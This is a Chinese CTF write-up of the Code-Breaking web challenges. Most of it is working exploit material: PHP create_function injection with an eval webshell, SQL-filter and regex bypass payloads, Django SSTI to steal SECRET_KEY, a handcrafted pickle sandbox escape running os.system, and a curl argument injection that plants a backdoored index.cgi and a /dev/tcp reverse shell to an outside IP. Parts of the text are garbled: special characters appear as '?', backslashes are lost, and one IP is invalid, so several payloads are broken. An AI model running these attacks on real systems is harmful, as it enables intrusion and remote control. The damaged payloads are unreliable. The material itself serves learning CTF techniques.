Code-breaking 复现
在p牛知识星球看见往年code-breaking分享了许多知识,便集中做一下学习学习
2018
function
考点:1. create_function注入
2. php默认命名空间为
题目源码
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
分析代码,利用点确定在else语句下的$action('', $arg);
利用方法为使用create_function()
函数进行实现,具体使用方式为:
create_function('$a,$b...','expression')
第一个参数为函数所接受的具体参数列表,可以为多个,第二个参数为函数内部实现方法
例如create_function('$a,$b','return 111')
其功能为
function a($a, $b){
return 111;
}
想要执行任意代码,就需要闭合create_function
例如传入return 111;}phpinfo();//
注入成为
function a($a, $b){
return 111;}phpinfo();//
}
从而实现代码注入
本地测试:
http://localhost/?a=return 111;}phpinfo();//
达到任意代码执行
而下一步即需要绕过正则:if(preg_match('/^[a-z0-9_]*$/isD', $action))
该正则所匹配的字符为:
- 以任意字母,数字或下划线开头(^进行匹配字符串开头)
- *重复匹配
- $匹配字符串结尾
- i不区分大小写
- s
.
匹配换行符 - D限制后续的量词(如
*
和+
)仅在字符串的开头生效
因此绕过方法及为需要再函数名create_function
开头或者结尾找一个字符绕过正则,并且不影响函数执行
知识点:
在PHP的命名空间默认为,所有的函数和类都在
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
本地测试:
phpinfo()
同样可以执行
综合以上两点
此题payload为:?action=create_function&arg=return 111;}phpinfo();//
写webshell:?action=create_function&arg=return 111;}eval($_POST[cmd]);//
发现此题有disable_funtion
禁用函数如下:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,putenv,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log
直接连蚁剑解决
lumenserial
先自动审计跑一遍
在/app/Http/Controllers/EditorController.php
下找到file_get_contents()函数
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
if ($img && in_array($img['mime'], $allowTypes)) {
$guesser = ExtensionGuesser::getInstance();
$ext = $guesser->guess($img['mime']);
$size = strlen($content);
$html_path = app()->basePath('html');
$upload_path = $this->fullPath($this->config['catcherPathFormat']);
if (in_array($ext, $limitExtension) && $size <= $maxSize) {
if (!is_dir("{$html_path}{$upload_path}")) {
mkdir("{$html_path}{$upload_path}", 0777, true);
}
$filename = bin2hex(random_bytes(10)) . '.' . $ext;
file_put_contents("{$html_path}{$upload_path}/{$filename}", $content);
return [
"url" => "{$upload_path}/{$filename}",
"source" => $url,
"state" => "SUCCESS"
];
} else {
throw new FileException("file extension .{$ext} or size {$size} error");
}
} else {
throw new FileException('Only support catching image file');
}
}
}
file_get_contents()
函数直接接受一个$url参数,url变量也直接从download函数获取
寻找pop链
太菜了,只能看网上大佬文章复现
参考文章:
https://www.cnblogs.com/iamstudy/articles/code_breaking_lumenserial_writeup.html
第一步:寻找destruct或wakeup
魔术方法,触发反序列化
nodechr
关键代码:
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|--)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
首先函数safeKeyword()
设置waf,禁用select union -- ;
这四个
绕过方法为,利用js中部分字符在toLowerCase和toUpperCase处理时,会发生一些变化
总结来说:
"?"、"?"这两个字符在变大写的时候会变成I和S
"?"这个字符在变小写的时候会变成k
因此利用该特性直接注入就ok
payload:
username=ddog
password=' un?on ?elect 1,flag,3 where '1'='1
pcrewaf
考点:利用PCRE回溯次数限制绕过某些安全限制
<?php
function is_php($data){
return preg_match('/<?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
通过POST方法进行文件上传
$data
为从上传文件中读取的文件内容
后用is_php函数,经过正则匹配`对文件内容进行检测,是否存在php代码
若没有,则继续处理文件内容,随机生成文件名,并添加.php
后缀,后续将文件移动到指定目录
此题无法控制文件名,所能控制的只有文件内容
但文件内容会被正则所匹配,正则要求如下
<`后面不能有问号,`<?`后面不能有`(;?>反引号
因此关键就是绕过正则
绕过技巧为利用正则引擎回溯
对于特别长的数据来说,服务器不会将数据全部进行处理,避免服务器资源浪费,产生pcre.backtrack_limit
,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。
所以利用python的request发包就好
<?php phpinfo();//a*1000000
phplimit
无参RCE
<?php
if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
函数嵌套:
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
phpmagic
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?>
代码主要功能为进行DNS查询
关键代码:
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
存在file_put_contents()
函数,其中文件名由$_SERVER['SERVER_NAME']
和$log_name
两部分组成的。
$log_name
可以由$_POST['log']
来控制,$_SERVER['SERVER_NAME']
在Apache2中没有进行相应设置的话,可以通过修改Host头进行控制
文件后缀利用xxx.php/.
进行绕过,该方法可以直接进行调用到xxx.php文件
文件写入参考绕过死亡exit原理
最终payload为
Host: php
domain=PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq&log=://filter/write=convert.base64-decode/resource=0.php/.
最终构成
file_put_contents('PD89YGNhdCAnLi4vLi4vLi4vZmxhZ19waHBtYWcxY191cjEnYDsvKioq','php://filter/write=convert.base64-decode/resource=0.php/.')
(本地没搭上docker,借用大佬wp的图片)
picklecode
考点:Django下的SSTI + pickle反序列化
根据源码此为Django模版引擎
@login_required
def index(request):
django_engine = engines['django']
template = django_engine.from_string('My name is ' + request.user.username)
return HttpResponse(template.render(None, request))
根据源码测试,查看是否存在SSTI
由于user在这上下文中只存在一个,即由request
所传入的,Django中request.user
是当前用户对象,这个对象包含一个属性password
,也就是该用户的密码。
{{ request.user.password }}
等同于
{{ user.password }}
二者得到结果相同
得到
Djongo框架自带admin
应用,即Django自带的后台,其中存在models.py。通过这个model可以获取到setting对象,其中包含数据库账号密码,web加密秘钥等敏感信息(Django模版下存在限制,无法读取以下划线开头的属性)
因此思路为通过层层递进找到Django的默认应用admin,再通过admin的model获取settings对象,从而获取秘钥
首先获得当前用户所属的用户组
{{ user.groups }}
得到
获取当前用户组的源字段
{{ user.groups.source_field }}
得到
获取当前用户组下的app_config相关配置信息
{{ user.groups.source_field.opts.app_config }}
层层递进,拿到key(晕)
{{ request.user.groups.source_field.opts.app_config.module.admin.settings.SECRET_KEY }}
session反序列化+沙盒绕过
学习文章:
https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf
相关代码
import pickle
import io
import builtins
__all__ = ('PickleSerializer', )
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
class PickleSerializer():
def dumps(self, obj):
return pickle.dumps(obj)
def loads(self, data):
try:
if isinstance(data, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(data)
return RestrictedUnpickler(file,
encoding='ASCII', errors='strict').load()
except Exception as e:
return {}
不同于一般的pickle反序列化,存在黑名单,禁用函数如下
'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit
并没有禁用getattr
,因此可以使用builtins.getattr(builtins,'eval')
从而获得eval函数,使得可以绕过沙盒
举一个普通pickle反序列化的exp做一个例子
import pickle
import base64
class genpoc(object):
def __reduce__(self):
cmd = 'cat /flag'
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,))
poc = pickle.dumps(genpoc())
print(base64.b64encode(poc))
这里这个exp中,使用了__reduce__
生成序列化字符串,但只能执行一个函数
而上诉所说的思路中,需要首先执行getattr
来获得eval函数,再利用eval函数执行命令,共记调用了两次函数,因此无法再使用__reduce__
,需要手写pickle代码
(anpickle这个工具内置了一些exp,主要利用__builtin__
中globals, getattr, dict, apply
四个函数,但是是python2编写,python3废除apply,类似于反射,可以调用任意函数,这道题也没法直接套工具)
稍微修改一些上述exp,将序列化数据写入一个文件pickle
import pickle
import os
class poc(object):
def __reduce__(self):
cmd = 'cat /flag'
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,))
poc = poc()
f = open('pickle','wb')
pickle.dump(poc ,f, protocol = 0)
f.close()
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)
使用指令python -m pickletools pickle
分析文件,得到具体的堆操作指令(opcode)
具体opcode对应功能如下
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00n' # not an opcode; see INT docs in pickletools.py
# Protocol 2
PROTO = b'x80' # identify pickle protocol
NEWOBJ = b'x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'x82' # push object from extension registry; 1-byte index
EXT2 = b'x83' # ditto, but 2-byte index
EXT4 = b'x84' # ditto, but 4-byte index
TUPLE1 = b'x85' # build 1-tuple from stack top
TUPLE2 = b'x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'x88' # push True
NEWFALSE = b'x89' # push False
LONG1 = b'x8a' # push long from < 256 bytes
LONG4 = b'x8b' # push really big long
_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]
# Protocol 3 (Python 3.x)
BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes
# Protocol 4
SHORT_BINUNICODE = b'x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'x8d' # push very long string
BINBYTES8 = b'x8e' # push very long bytes string
EMPTY_SET = b'x8f' # push empty set on the stack
ADDITEMS = b'x90' # modify set by adding topmost stack items
FROZENSET = b'x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'x94' # store top of the stack in memo
FRAME = b'x95' # indicate the beginning of a new frame
# Protocol 5
BYTEARRAY8 = b'x96' # push bytearray
NEXT_BUFFER = b'x97' # push next out-of-band buffer
READONLY_BUFFER = b'x98' # make top of stack readonly
进行对照可以得到得到数据的具体含义
0: c GLOBAL '__builtin__ eval' ######向栈顶压入`__builtion__.eval`该可执行对象
18: p PUT 0 ######将上述对象存储到 memo 的第0个位置
21: ( MARK ######压入一个元组开始的标志
22: V UNICODE "__import__('os').popen('cat /flag').read()"######将后续命令作为字符串进行压入
66: p PUT 1 ######将上述字符串压入memo的第一个位置
69: t TUPLE (MARK at 21) ######将由刚压入栈中的字符串弹出,再将由这个字符串组成的元组压入栈中
70: p PUT 2 ######将这个元组存储到 memo 的第 2 个位置
73: R REDUCE ######从栈上弹出两个元素,分别是可执行对象和元组,并执行,这里即为 'eval('whoami')' ,将结果压入栈中
74: p PUT 3 ######将栈顶的元素(也就是刚才执行的结果)存储到 memo 的第 3 个位置
77: . STOP ######程序结束
同理,写出此题对应的pickle代码
首先获得builtins
对象
cbuiltins # 将 builtins 设为可执行对象
getattr # 获取 getattr 方法
(cbuiltins # 压入元组开始标志,并将 builtins 设为可执行对象
dict # 获取 dict 对象
S'get' # 压入字符串 'get'
tR(cbuiltins # 弹出 builtins.dict,get 并组成新的元组压入栈中。然后执行 builtins.getattr(builtins.dict,get) 得到 get 方法压入栈中。再压入元组标志,将 builtins 设为可执行对象
globals # 获取 builtins.globals
(tRS'builtins' # 压入元组标志,执行 builtins.globals,然后压入字符串 'builtins'
tRp1 # 执行 get(builtins),获取到 builtins 对象存储到 memo[1] 处
python代码
import pickle
import builtins
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
.'''
data = pickle.loads(data)
print(data)
获取eval达到任意命令执行
总体pickle代码为
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
.
结合题目代码,Python代码为
import pickle
import builtins
import io
class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
data = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.
.'''
data = restricted_loads(data)
print(data)
成功执行命令
结合密钥,伪造jwt,传入,触发pickle反序列化
2020
bashinj
题目要求:
在不破坏目标原始功能的情况下获取Webshell:
题目代码
#!/bin/bash
source ./_dep/web.cgi
echo_headers
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
此代码是bash写的一个脚本,通过GET请求传参name
,若name为空,那么设置name='Bob'
,后使用curl -v
指令返回详细的响应信息,包括请求头
此处无法直接类似于;whoami
进行语句拼接造成
代码命令注入的前提需要有“动态代码执行的空间
在PHP中,常见的提供动态代码执行空间的即为eval
函数
在bash中原理中同样,需要一个执行“代码”或“命令”的方法可控,而不是控制一个静态的语法结构中的参数。
因此此处无法再注入去执行一个函数,但此处用户输入并没有通过双引号包裹,因此可以注入curl参数
测试:?name=Bob --help
验证成功这里成功注入了参数--help
利用在线网站:GTFObins,可以查询得到一些Linux指令的一些tricks
这里查询curl
得知curl存在参数可以写文件-o
和读文件
测试文件文件写入
index.cgi?name=Bob%20-o test.cgi
访问文件发现文件存在,证明文件写入,但是发生500报错
造成原因:
curl请求包含httpbin.org的返回结果,因为不是合法shell脚本,所以执行可能出错
新写入的shell.cgi文件没有执行权限,导致无法执行
控制curl执行结果
安装mitmproxy
pip3 install mitmproxy
mitmproxy --version 验证安装
编写mitmproxy.py
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
data = br'''
This is Parar.
'''
class Hook:
def request(self, flow: HTTPFlow):
flow.response = HTTPResponse.make(200, data, {'Content-Type': 'text/plain'})
ctx.log.info("Process a request %r" % flow.request.url)
addons = [Hook()]
运行
mitmdump -s mitmproxy.py --set block_global=false -p 10001
进行本地测试,本地验证成功
题目端验证成功
解决执行权限
目前已知index.cgi
该文件可以正常执行,因此可以直接通过覆写index.cgi,向index.cgi文件中传入恶意代码并执行
但题目要求,不得破坏目标正常操作,因此需要首先得到原本index.cgi文件的代码
还是通过上述网站,查到curl可以直接通过file://
伪协议进行读取
然后向原本代码中加入webshell
#!/bin/bash
source ./_dep/web.cgi
echo_headers
if [[ "${_GET['cmd']}" != "" ]]; then
eval "${_GET['cmd']}"
exit 0
fi
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
#!/bin/bash
source ./_dep/web.cgi
echo_headers
if [[ "${_GET['cmd']}" != "" ]]; then
eval "${_GET['cmd']}"
exit 0
fi
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
修改mitmproxy的代码为,在触发index.cgi时直接反弹shell
from mitmproxy import ctx
from mitmproxy.http import HTTPFlow, HTTPResponse
data = br'''
#!/bin/bash
source ./_dep/web.cgi
echo_headers
sh -i >& /dev/tcp/175.178.29.101/6666 0>&1
name=${_GET["name"]}
[[ $name == "" ]] && name='Bob'
curl -v http://httpbin.org/get?name=$name
'''
class Hook:
def request(self, flow: HTTPFlow):
flow.response = HTTPResponse.make(200, data, {'Content-Type': 'text/plain'})
ctx.log.info("Process a request %r" % flow.request.url)
addons = [Hook()]
启动后客户端执行
?name=bob%20-o%20index.cgi%20-x%20http://175.278.29.101:10001
返回正常
本地监听,访问index.cgi即可拿到shell